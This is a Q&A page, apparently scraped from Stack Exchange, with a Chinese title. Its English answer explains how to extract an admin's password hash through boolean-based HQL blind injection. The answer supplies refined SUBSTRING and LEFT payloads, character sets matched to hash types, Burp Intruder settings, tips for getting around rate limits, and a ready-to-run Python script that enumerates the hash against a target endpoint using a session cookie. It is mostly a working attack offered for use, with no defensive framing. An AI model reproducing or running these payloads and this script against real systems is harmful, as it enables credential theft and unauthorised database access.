大小写敏感HQL盲注提取用户密码哈希遇阻,求技术方案
Got it, let's walk through how to solve this blind injection problem you're dealing with. First, let's confirm the scenario: you've identified a case-sensitive HQL injection point, and you're trying to pull password hashes via boolean-based blind injection using a query like:
select count(userName) from DB where userName='admin' AND Password like 'INJECT%' AND '1'='1'
You're iterating through characters and relying on yes/no responses to validate prefixes, but hitting snags. Here's how to refine your approach:
Refine the Injection Logic for Precision
Your currentLIKE 'INJECT%'works, but using substring matching can make your tests more reliable, especially when targeting individual characters. Instead of checking prefixes, you can test each character position directly with HQL's string functions. For example:select count(userName) from DB where userName='admin' AND SUBSTRING(Password, 1, 1) = 'a' AND '1'='1'Note: Some HQL implementations use
SUBSTRING(Password FROM 1 FOR 1)instead, so test both if needed. This avoids edge cases where partial prefixes might accidentally match longer hashes.Optimize Your Character Set
Since it's case-sensitive, narrow down your character set based on the expected hash type. For example:- MD5/SHA-1: Use
0123456789abcdef(if the hash is lowercase) or include uppercase if the target stores hashes that way. - bcrypt/Argon2: Include uppercase, lowercase, numbers, and special characters like
.,/.
Testing only relevant characters will speed up your enumeration drastically.
- MD5/SHA-1: Use
Automate the Enumeration (Don't Do It Manually!)
Manual iteration is slow and error-prone. Write a simple script or use Burp Suite Intruder to automate the process. Here's a quick Python example usingrequests:import requests import time # Configure these values to match your target target_url = "https://your-target.com/vulnerable-endpoint" session_cookies = {"session_id": "your-active-session-cookie"} target_user = "admin" # Adjust charset based on expected hash type charset = "0123456789abcdefABCDEF" extracted_hash = "" # Assume hash length (e.g., 32 for MD5, 40 for SHA-1) for char_position in range(1, 33): for test_char in charset: # Build the injection payload inject = f"' AND SUBSTRING(Password, {char_position}, 1) = '{test_char}' AND '" full_query = f"select count(userName) from DB where userName='{target_user}'{inject}1'='1" # Insert the query into your vulnerable parameter (adjust for GET/POST) response = requests.get( target_url, params={"vuln_param": full_query}, cookies=session_cookies ) # Check for the "yes" response (e.g., a specific string or page length) if "count: 1" in response.text: extracted_hash += test_char print(f"Found char {test_char} at position {char_position} | Current hash: {extracted_hash}") break # Add a small delay to avoid rate limiting time.sleep(0.5)If using Burp Suite, set up a payload position at the character you're testing, load your charset as the payload list, and use the "Grep - Match" rule to identify valid responses.
Troubleshoot Common Roadblocks
- Unstable Response Differences: Ensure your "yes" and "no" responses are consistent. Test a known true payload (
' AND '1'='1) and known false payload (' AND '1'='2) multiple times to confirm unique identifiers (e.g., page length, specific error messages, or success text). - HQL Function Restrictions: If
SUBSTRINGdoesn't work, try usingLEFTto test prefixes incrementally:select count(userName) from DB where userName='admin' AND LEFT(Password, {len(extracted_hash)+1}) = '{extracted_hash}{test_char}' AND '1'='1' - Rate Limiting: If you get blocked, add longer delays between requests in your script or adjust the thread count in Burp Intruder.
- Unstable Response Differences: Ensure your "yes" and "no" responses are consistent. Test a known true payload (
内容的提问来源于stack exchange,提问作者Wealot

